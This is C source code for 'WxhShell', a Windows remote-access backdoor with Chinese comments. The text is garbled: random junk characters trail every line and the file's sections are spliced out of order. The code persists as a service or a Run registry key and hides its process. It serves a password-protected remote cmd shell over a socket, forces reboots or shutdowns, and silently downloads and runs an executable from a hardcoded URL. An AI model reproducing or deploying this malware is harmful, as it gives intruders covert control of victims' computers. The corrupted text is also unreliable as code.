    if(Boot(SHUTDOWN)) *jrQ-'<T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +GFK!Pf  
    else { ^M7pCetjdW  
    closesocket(wsh); :Lh`Q"a  
    ExitThread(0); ]~t4E'y)z  
    } pGT?=/=*  
    break; p$!Q?&AV/  
    } P>[,,w  
  // 获取shell c^ W \0  
  case 's': { HWOOw&^<  
    CmdShell(wsh); x/,(G~  
    closesocket(wsh); Qm5Sf=E7Q  
    ExitThread(0); zTb,h  
    break; Q zq3{%^x_  
  } bd[%=5  
  // 退出 uj^l&"  
  case 'x': { df@G+v0_1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); atYe$Db  
    CloseIt(wsh); zOsk'ZE&  
    break; _6Qb 3tl  
    } (\*+HZ`(Uu  
  // 离开 ?r/)s()ALf  
  case 'q': { U%H6jVE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SioP`*,}  
    closesocket(wsh); "e@?^J)  
    WSACleanup(); VB&`g<  
    exit(1); >8=rD  
    break; 6o=Q;Mezl  
        } _n=,H  
  } -E,p[Sp  
  } Jt|W%`X>D  
l#^weXSlk  
  // 提示信息 "c*&~GSE4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r"_SL!,^  
} ;wKsi_``@  
  } _}3NLAqg  
3JXKp k?   
  return; GPLq$^AH  
} >A ?{cbJ  
&N:`Rler  
// shell模块句柄 )9s 6(Iu  
int CmdShell(SOCKET sock) kcio]@#  
{ (hn;C>B  
STARTUPINFO si; PCZ%<>v  
ZeroMemory(&si,sizeof(si)); i;I!Jc_b'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hjx= ?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D+('1E?  
PROCESS_INFORMATION ProcessInfo; c!Wj^  
char cmdline[]="cmd"; rLx'.:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M~LYq  
  return 0; JLu>w:\  
}  j*#k%;c  
cd:VFjT  
// 自身启动模式 ObEp0-^?  
int StartFromService(void) Ot([5/K  
{ $i;_yTht  
typedef struct x A"V!8C  
{ )Oix$B!-  
  DWORD ExitStatus; D9;s%  
  DWORD PebBaseAddress; bXRSKp[$  
  DWORD AffinityMask; (bD'SWE  
  DWORD BasePriority; vR?E'K3  
  ULONG UniqueProcessId; m(p0)X),_i  
  ULONG InheritedFromUniqueProcessId; :!<U"AC  
}   PROCESS_BASIC_INFORMATION; J8#3?Lp  
*7G5\[gI$  
PROCNTQSIP NtQueryInformationProcess; WYY&MHp  
3Q~zli:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p}d+L{"V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R/@n+tb e  
JsV-:J  
  HANDLE             hProcess; _ a -At  
  PROCESS_BASIC_INFORMATION pbi; n2;Vrs,<1&  
B(qwTz 51  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .qg 2zE$0  
  if(NULL == hInst ) return 0; ?i5=sK\  
h[}e5A]}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8s)(e9Sr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t>%+[7?6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xay~fD  
Ae|bAyAK  
  if (!NtQueryInformationProcess) return 0; j,CVkA*DY  
K~Z$NS^W&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;b;Bl:%?  
  if(!hProcess) return 0; Zil<*(kv{  
vd#BT$d?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `| f1^C^  
:<i<\TH'  
  CloseHandle(hProcess); }-2U,Xg[  
[s&0O<Wv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k btQ  
if(hProcess==NULL) return 0; >@?`n}r|  
B'!I{LC  
HMODULE hMod; gib'f@i;  
char procName[255]; \3 M%vJ  
unsigned long cbNeeded; /{ FSG!  
35Cm>X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); akV-|v_  
JHCXUT-r{  
  CloseHandle(hProcess); dz=pL$C  
meArS*d  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Wedj\Kkp  
erdA ?  
  return 0; // 注册表启动 #v}pn2g%>  
} +5qY*$dn  
EVW\Z 2N.  
// 主模块 2b^E8+r9  
int StartWxhshell(LPSTR lpCmdLine) ">x"BP  
{ WIYWql>*  
  SOCKET wsl; dj5@9X  
BOOL val=TRUE; B)=)@h[f  
  int port=0; + 3c (CTz  
  struct sockaddr_in door;  RR[1mM  
+~za6  
  if(wscfg.ws_autoins) Install(); O 2W2&vY  
rYPj3!#  
port=atoi(lpCmdLine); 0+6=ag%  
@\|Fd)  
if(port<=0) port=wscfg.ws_port; %%qg<iO_  
Da&Brm   
  WSADATA data; 2"8qtG`Et  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` 3h,Cy^  
Z@6xu;O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E<r<ObeRv`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UthM?g^  
  door.sin_family = AF_INET; p}(pIoyUF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZfnJ&H'  
  door.sin_port = htons(port); {q.|UCg[L  
3%YDsd vQx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { { \ ]KYI0  
closesocket(wsl); lnv&fu`1P  
return 1; xyyEaB  
} UKzXz0  
~w"e 2a  
  if(listen(wsl,2) == INVALID_SOCKET) { +r$M 9  
closesocket(wsl); h_\OtoRa  
return 1; mV#U=zqb!S  
} \VHRI<$+5  
  Wxhshell(wsl); 7[It  
  WSACleanup();  .F/0:)  
9a0|iy  
return 0; UaXWHCm`  
ewVks>lbz  
} kWbD?i-  
)W |_f  
// 以NT服务方式启动 _FP'SVa}D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Eu`K2_b  
{ lc\%7-%:5  
DWORD   status = 0; b0uWUI(=  
  DWORD   specificError = 0xfffffff; uy8mhB+]  
!m6=Us  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s(cC ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y@9ifFr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )}i|)^J  
  serviceStatus.dwWin32ExitCode     = 0; :aWC6"ik-W  
  serviceStatus.dwServiceSpecificExitCode = 0; $\q}A:  
  serviceStatus.dwCheckPoint       = 0; )Ag{S[yZ  
  serviceStatus.dwWaitHint       = 0; U)C>^ !Us  
_NN5e|t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]^I[SG,  
  if (hServiceStatusHandle==0) return; H' %#71  
Lv7$@|"H9  
status = GetLastError(); sDP8!  
  if (status!=NO_ERROR) } bm ^`QY  
{ .wf$]oQQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =&#t ("  
    serviceStatus.dwCheckPoint       = 0; 5q _n 69b  
    serviceStatus.dwWaitHint       = 0; tb;u%{S  
    serviceStatus.dwWin32ExitCode     = status; ,d7o/8u  
    serviceStatus.dwServiceSpecificExitCode = specificError; #r'S@:[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2k+u_tj>  
    return; j W/*-:  
  } A@)ou0[n@  
[ ]42$5eof  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W4$F\y  
  serviceStatus.dwCheckPoint       = 0; %6E:SI 4  
  serviceStatus.dwWaitHint       = 0; gp NAM"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5v"Sv  
} Esdw^MGL2  
%nhE588xf  
// 处理NT服务事件,比如:启动、停止 <F ?UdMT4y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jp-6]uW  
{ gfQ1p?  
switch(fdwControl) X{8g2](z.  
{ Pa-{bhllu)  
case SERVICE_CONTROL_STOP: }TRVCF1  
  serviceStatus.dwWin32ExitCode = 0; ?6//'bO:%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a\tv,Lx  
  serviceStatus.dwCheckPoint   = 0; WP >VQZ&  
  serviceStatus.dwWaitHint     = 0; t(Gg 1  
  { n..R'vNj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Go)Zs-bL?  
  } {!xDJnF;  
  return; `gz/?q  
case SERVICE_CONTROL_PAUSE: <`d;>r=4z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?JMy  
  break; %a|m[6+O  
case SERVICE_CONTROL_CONTINUE: 2q ~y\fe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V11 XI<V  
  break; Eg4_kp0Lq  
case SERVICE_CONTROL_INTERROGATE: }ZJ*N Y  
  break; G3j'A{  
}; VvTi>2(.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='Yg^:n  
} K(rWM>Jv  
'1rO&F  
// 标准应用程序主函数 u1ahAk7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m.ejGm?  
{ =DwY-Ex  
}Apn.DYbbf  
// 获取操作系统版本 6-QcHJ>m6U  
OsIsNt=GetOsVer(); r=S,/N(1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g)nT]+&  
3c[]P2Bh  
  // 从命令行安装 r>g5_"FL  
  if(strpbrk(lpCmdLine,"iI")) Install(); U U@  
b)7v-1N  
  // 下载执行文件 (W5JVk_o  
if(wscfg.ws_downexe) { K[l5=)G0L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MY l9 &8  
  WinExec(wscfg.ws_filenam,SW_HIDE);  mT,#"k8  
} qkBCI,X_Y  
GuKiNYI_  
if(!OsIsNt) { `NCH^)  
// 如果时win9x,隐藏进程并且设置为注册表启动 -ju}I  
HideProc(); i=jY l  
StartWxhshell(lpCmdLine); @.} @K  
} m.Ki4NUm  
else t^"8 v3'h  
  if(StartFromService()) Zty9O8g  
  // 以服务方式启动 23/;W|   
  StartServiceCtrlDispatcher(DispatchTable); sE!$3|Q  
else HM &"2c  
  // 普通方式启动 3|=L1Pw#  
  StartWxhshell(lpCmdLine); @0-vf>e3-  
F"0=r  
return 0; 0}N"L ml  
} =)nJ'}x  
.qs5xGg#9  
_FkIg>s  
f"t+r /d  
=========================================== i0rh {Ko  
sPvjJr"s  
nhRpb9f`1@  
}ZJJqJ`*e  
.p(%gmOp#  
_kdt0Vr,L  
" F h+g@ u6  
>tE6^7B*  
#include <stdio.h> :ka^ ztXG  
#include <string.h> =Y5_@}\0  
#include <windows.h> xM![  
#include <winsock2.h> qK]Om6 a~  
#include <winsvc.h> W~/{ct$Y  
#include <urlmon.h> k,-0OoCL-!  
 VM<$!Aaz  
#pragma comment (lib, "Ws2_32.lib") qO[_8's8  
#pragma comment (lib, "urlmon.lib") vGwpDu\RgX  
+P<#6<gR  
#define MAX_USER   100 // 最大客户端连接数 iH8V]%  
#define BUF_SOCK   200 // sock buffer MzE1he1  
#define KEY_BUFF   255 // 输入 buffer t]E@AJO K  
009Q#[A  
#define REBOOT     0   // 重启 F8|m i`f-  
#define SHUTDOWN   1   // 关机 2yV^'o)  
P4fnBH4OQ  
#define DEF_PORT   5000 // 监听端口 jmF)iDvjuZ  
PxA OKUpI  
#define REG_LEN     16   // 注册表键长度 +#9 4 X)*  
#define SVC_LEN     80   // NT服务名长度 2YK2t<EO  
+!)_[ zo  
// 从dll定义API 1AQy 8n*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }#6~/ W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i':a|#e>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mb-AzGsV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fWyXy%Qq  
Mk}*ze0%  
// wxhshell配置信息 +asO4'r  
struct WSCFG { TT={>R[B  
  int ws_port;         // 监听端口 !,R=6b$E5  
  char ws_passstr[REG_LEN]; // 口令 RLfB]\w  
  int ws_autoins;       // 安装标记, 1=yes 0=no >fzFNcO*  
  char ws_regname[REG_LEN]; // 注册表键名 MqRJ:x  
  char ws_svcname[REG_LEN]; // 服务名 kAq#cLprG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }8'b}7!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6[-[6%o#z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KPA.5,ai  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  %e(DPX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YT6dI"48  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZqX p f  
u}89v1._Jn  
}; b-RuUfUn0  
I8Y #l'z  
// default Wxhshell configuration 0+/ew8~$  
struct WSCFG wscfg={DEF_PORT, a}X. ewg  
    "xuhuanlingzhe", I.it4~]H  
    1, %Z*N /nU  
    "Wxhshell", w<Bw2c  
    "Wxhshell", z fu)X!t^  
            "WxhShell Service", U:bnX51D4  
    "Wrsky Windows CmdShell Service", )FN$Jlo  
    "Please Input Your Password: ", #3?}MC  
  1, D# gC-,  
  "http://www.wrsky.com/wxhshell.exe", klnk{R.>|  
  "Wxhshell.exe" S|F:[(WaM  
    }; ^Hz1z_[X@  
lN x7$z`  
// 消息定义模块 vsJDVJ +=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <`WcI`IA b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )r?- _qj=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sgRWjrc/  
char *msg_ws_ext="\n\rExit."; a%5/Oc[[  
char *msg_ws_end="\n\rQuit."; + ]iK^y-.r  
char *msg_ws_boot="\n\rReboot..."; 7"1]5\p^g  
char *msg_ws_poff="\n\rShutdown..."; $g),|[ x+(  
char *msg_ws_down="\n\rSave to "; \2CEEs'  
Yr[& *>S  
char *msg_ws_err="\n\rErr!"; i&{%} ==7  
char *msg_ws_ok="\n\rOK!"; L_o/fTz4  
=MT'e,T  
char ExeFile[MAX_PATH]; XSGBC:U)l  
int nUser = 0; =|dHD  
HANDLE handles[MAX_USER]; V>D}z8w7  
int OsIsNt; ,&L}^Up  
V[n,fEPBr  
SERVICE_STATUS       serviceStatus; ja6V*CWb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;SX~u*`R  
fk!9` p'  
// 函数声明 sG\K$GP!  
int Install(void); sKk+^.K}|  
int Uninstall(void); x"r,l/gzy  
int DownloadFile(char *sURL, SOCKET wsh); =}YX I  
int Boot(int flag); ]r'D  
void HideProc(void); .A0fI";Q  
int GetOsVer(void); txE+A/>i9  
int Wxhshell(SOCKET wsl); /f drf  
void TalkWithClient(void *cs); zO@>)@~  
int CmdShell(SOCKET sock); Jt0U`_  
int StartFromService(void); o#=C[d5BV  
int StartWxhshell(LPSTR lpCmdLine); XlnSh<e  
]B$J8.{q0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a ,"   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RhC|x,E  
`3`.usw  
// 数据结构和表定义 8H|ac[hXK2  
SERVICE_TABLE_ENTRY DispatchTable[] = 1jO%\uR/  
{ F)v  
{wscfg.ws_svcname, NTServiceMain}, 0Ua=&;/2  
{NULL, NULL} *F!1xyg  
}; ,RW`9+gx  
1}Y3|QxF  
// 自我安装 %0 i)l|  
int Install(void) ci/qm\JI<<  
{ D$@2H>.-  
  char svExeFile[MAX_PATH]; D c;k)z=  
  HKEY key; .(3ec/i4CF  
  strcpy(svExeFile,ExeFile); jAU&h@  
hRMya#%-  
// 如果是win9x系统,修改注册表设为自启动 (4Nj3x o  
if(!OsIsNt) { IUNr<w<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CD%Cb53  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XMdCQ=  
  RegCloseKey(key); .rS. >d^n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r=~K#:66  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bwj{5-FU  
  RegCloseKey(key); (.X)=  
  return 0; 1 b 86@f   
    } jsx&h Y%(  
  } crN*eFeW  
} 57=d;Yg e  
else { K:GEC-  
WIuYSt)h  
// 如果是NT以上系统,安装为系统服务  g[bu9i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :Z x|=  
if (schSCManager!=0) `oH4"9&]k3  
{ SN]g4}K-  
  SC_HANDLE schService = CreateService Ln t 1  
  ( )(_NFpM  
  schSCManager, -e_o p'`  
  wscfg.ws_svcname, Js vdC]+  
  wscfg.ws_svcdisp, [cco/=c  
  SERVICE_ALL_ACCESS, lcy<taNu)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j9l32<h7]  
  SERVICE_AUTO_START, 3 ^K#\*P  
  SERVICE_ERROR_NORMAL, Ga-cto1Y  
  svExeFile, ,II3b( l  
  NULL, LrT EF j  
  NULL, /|<S D.:  
  NULL, =,h'}(z_  
  NULL, [`s0 L#  
  NULL j--byk6PB  
  ); 6B|i-b $~  
  if (schService!=0) @0]WMI9B"B  
  { _>rM[\|X  
  CloseServiceHandle(schService); j/fniyJ)  
  CloseServiceHandle(schSCManager); w52p y7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fGqX dlP  
  strcat(svExeFile,wscfg.ws_svcname); AI|+*amTd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p$qk\efv*4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H%gAgXHn  
  RegCloseKey(key); <oV[[wl  
  return 0; i q oXku  
    } bX,#z,  
  } g(;OUkj$Zp  
  CloseServiceHandle(schSCManager); ZWo~!Z[Y  
} k54\H.  
} `-OzjbM  
MIn_?r  
return 1; vSC1n8 /  
} cjJfxD&q  
+ima$a0Zyt  
// 自我卸载 |w54!f6w_  
int Uninstall(void) B+mxM/U[c  
{ cz{`'VN}`  
  HKEY key; {\CWoFht>  
0c`nk\vUy  
if(!OsIsNt) { c)B3g.C4m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )G Alj;9A$  
  RegDeleteValue(key,wscfg.ws_regname); xr7}@rq"U<  
  RegCloseKey(key); Dmr*Lh~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y_}vVHT,  
  RegDeleteValue(key,wscfg.ws_regname); rq4g~e!S  
  RegCloseKey(key); _#NibW  
  return 0; iC/*d  
  } u~ipB*Zf  
} pGjwI3_K  
} , ?U)mYhI  
else { NsP=l]  
<kPNe>-f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZTV)D  
if (schSCManager!=0) ]%HxzJ  
{ FHw%ynC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mms|jF oQ  
  if (schService!=0) yn_f%^!G  
  { -0#"<!N  
  if(DeleteService(schService)!=0) { z!O;s ep?/  
  CloseServiceHandle(schService); 6V%}2YE?X  
  CloseServiceHandle(schSCManager); rKUtTj  
  return 0; 'jfE?ngt  
  } d"06 gp  
  CloseServiceHandle(schService); \<*F#3U1  
  } cWZITT{A  
  CloseServiceHandle(schSCManager); tWTHyL  
} #~)A#~4O  
} =eUKpYI  
5X=1a*2']  
return 1; ye9GBAj /  
} 2[ofz}k]r)  
gBv!E9~l  
// 从指定url下载文件 I`X!M!dB)  
int DownloadFile(char *sURL, SOCKET wsh) [`b,SX x  
{ ]tN)HRk1  
  HRESULT hr; +]A,fmI.  
char seps[]= "/"; rzIWQFv  
char *token; @Kz,TP!%A  
char *file; ">CRFee0  
char myURL[MAX_PATH]; ; F'IS/ttX  
char myFILE[MAX_PATH]; gv>DOez/  
jVd`J  
strcpy(myURL,sURL); F:T(-,  
  token=strtok(myURL,seps); el*|@#k}  
  while(token!=NULL) Tp?IK_  
  { `gx\m=xG  
    file=token; $q:l \  
  token=strtok(NULL,seps); 2A; i  
  } jI7 x<=  
'g)f5n a[  
GetCurrentDirectory(MAX_PATH,myFILE); rHB>jN@$  
strcat(myFILE, "\\"); Y3DqsZ@  
strcat(myFILE, file); t!Cz;ajNi  
  send(wsh,myFILE,strlen(myFILE),0); RU7+$Z0K  
send(wsh,"...",3,0); q"<=^vi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t3Gy *B  
  if(hr==S_OK) Os-Z_zSl6  
return 0; 9dNkKMc@  
else SNOc1c<~  
return 1; rIPfO'T?  
+;lDU}$  
} 7HH@7vpJ^  
E> GmFw  
// 系统电源模块 <b,WxR`  
int Boot(int flag) 2PyuM=(Wt  
{ 4"kc(J`c  
  HANDLE hToken; t2)uJN`a$X  
  TOKEN_PRIVILEGES tkp; f?tU5EX  
Rf8Obk<  
  if(OsIsNt) { 7FcZxu\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]pBEoktp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DSqA}r  
    tkp.PrivilegeCount = 1; 9DhM 9VU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ygnZ9ikh<-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hRX9Du`$  
if(flag==REBOOT) { =Pw{1m|k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $I*}AUp v?  
  return 0; #X'-/q`.  
} @[9  
else { U<0Wa>3zj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8(Te^] v#  
  return 0; xaVX@ 3r.3  
} Kt*fQ `9  
  } / ^d9At614  
  else { Ebs]]a>PO  
if(flag==REBOOT) { "zJxWXI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k1xx>=md|C  
  return 0; 1a(\F 7  
} j% 7Gje[  
else { lqOpADLS3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Mn?Nn  
  return 0; ME]4tu  
} w/o^OjwQ  
} eUQmW^  
Y+Z+Y)K  
return 1; tq h)yr;  
} ,\"x#Cc f  
}|| p#R@?  
// win9x进程隐藏模块 1/?Wa  
void HideProc(void) k{;?>=FH!  
{ wE.jf.q  
1gK^x^l*f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P_0X+Tz  
  if ( hKernel != NULL ) Y QC.jnb2  
  { '6qH@r4Z<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fDns r" T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U.SC,;N^  
    FreeLibrary(hKernel); iu=Mq|t0  
  } J[6/dM  
elGBX h  
return; 4z5qXI/<m4  
} rhPv{6Z|7  
& n@hD7=(  
// 获取操作系统版本 9)vU/fJ|  
int GetOsVer(void) jc_k\  
{ /r'Fq =z  
  OSVERSIONINFO winfo; Z72%Bv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c!6v-2ykv  
  GetVersionEx(&winfo); ]l fufjj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7=fN vES2  
  return 1; xI?'Nh  
  else 9?ll(5E  
  return 0; Q3l>xh  
} |+ Rx)  
v1yB   
// 客户端句柄模块 !%t@wQ]\hG  
int Wxhshell(SOCKET wsl) `;}qjm0a  
{ nw/g[/<;  
  SOCKET wsh; Xk%eU>d  
  struct sockaddr_in client; vo }4N[]Sb  
  DWORD myID; Kn$E{F\  
.jP|b~  
  while(nUser<MAX_USER) P??P"^hU  
{ Vbp@n  
  int nSize=sizeof(client); }|Q\@3&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n%36a(] t  
  if(wsh==INVALID_SOCKET) return 1; <(Ar[Rp  
2 oL$I(83  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5g-1pzP9  
if(handles[nUser]==0) ],!}&#|  
  closesocket(wsh); 3t9+YdNKU  
else ZK t{3P  
  nUser++; B]yO  
  }  -V2`[k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .{t5_,P  
\\ R<HuTY  
  return 0; {f4jE#a>v  
} _X?_|!;J  
4>d]0=x  
// 关闭 socket 8u)>o* :  
void CloseIt(SOCKET wsh) k8n9zJ8  
{ sSKD"  
closesocket(wsh); )UU`uzU;u  
nUser--; B=W#eu <1  
ExitThread(0); 8hww({S2  
} 30I-E ._F  
qm_r~j  
// 客户端请求句柄 g; -3  
void TalkWithClient(void *cs) Jb> X$|N'%  
{ Xbx=h^S  
Y]6d Yq{k  
  SOCKET wsh=(SOCKET)cs; cCiDe`T\F  
  char pwd[SVC_LEN]; t3.;qDy  
  char cmd[KEY_BUFF]; RRy D<7s1  
char chr[1]; mnZfk  
int i,j; VgbT/v  
GBS+ 4xL|  
  while (nUser < MAX_USER) { oc-&}R4=  
GJU(1%-  
if(wscfg.ws_passstr) { 5.\|*+E~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9f& !Uw_W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X*7VDt=  
  //ZeroMemory(pwd,KEY_BUFF); ,tZL"  
      i=0; :/PxfN5  
  while(i<SVC_LEN) { _8PNMbv{  
'tMD=MH  
  // 设置超时 _Ad63.Uq))  
  fd_set FdRead; h]i vXF*  
  struct timeval TimeOut; XkUwO ]  
  FD_ZERO(&FdRead); yZ=O+H  
  FD_SET(wsh,&FdRead); &QQ6F>'T  
  TimeOut.tv_sec=8; %b_0l<+  
  TimeOut.tv_usec=0; 6j1C=O@S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0r$n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TEer>gD:v  
G,WLca[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]!"7k_  
  pwd=chr[0]; x5g&?2[  
  if(chr[0]==0xd || chr[0]==0xa) { 8]#J_|A6Z  
  pwd=0; =s.0 f:(  
  break; WyB^b-QmDh  
  } 73u97oe>1  
  i++; }3WP:Et  
    }  Jc]k\U  
v`Y{.>[H[  
  // 如果是非法用户,关闭 socket Vy/G-IASb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $mAyM+ ph[  
} h4ntjk|{i7  
/9SoVU8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \AI-x$5R*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7$0bgWi  
VL"Cxs  
while(1) { =_N $0  
!w/fw Oo  
  ZeroMemory(cmd,KEY_BUFF); VS`{k^^  
o)b-fAd@$  
      // 自动支持客户端 telnet标准   S 1~EJa5H  
  j=0; <f)T*E^5%  
  while(j<KEY_BUFF) { 'Zex/:QS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sc-hO9~k  
  cmd[j]=chr[0]; M.qv'zV`xG  
  if(chr[0]==0xa || chr[0]==0xd) { 1n6%EC|X  
  cmd[j]=0; Z{ 9Io/  
  break; ]d{lS&PRlg  
  } Wzff p}V  
  j++; "Il) _Ui  
    } LtUw  
q!><:"#[G  
  // 下载文件 5mL4Zq"  
  if(strstr(cmd,"http://")) { *(wxNsK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dqgr98  
  if(DownloadFile(cmd,wsh)) &+hk5?c /  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4V) 0)G  
  else +_*iF5\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G|t0no\f  
  } vq3:N'  
  else { \v{HjqVkC  
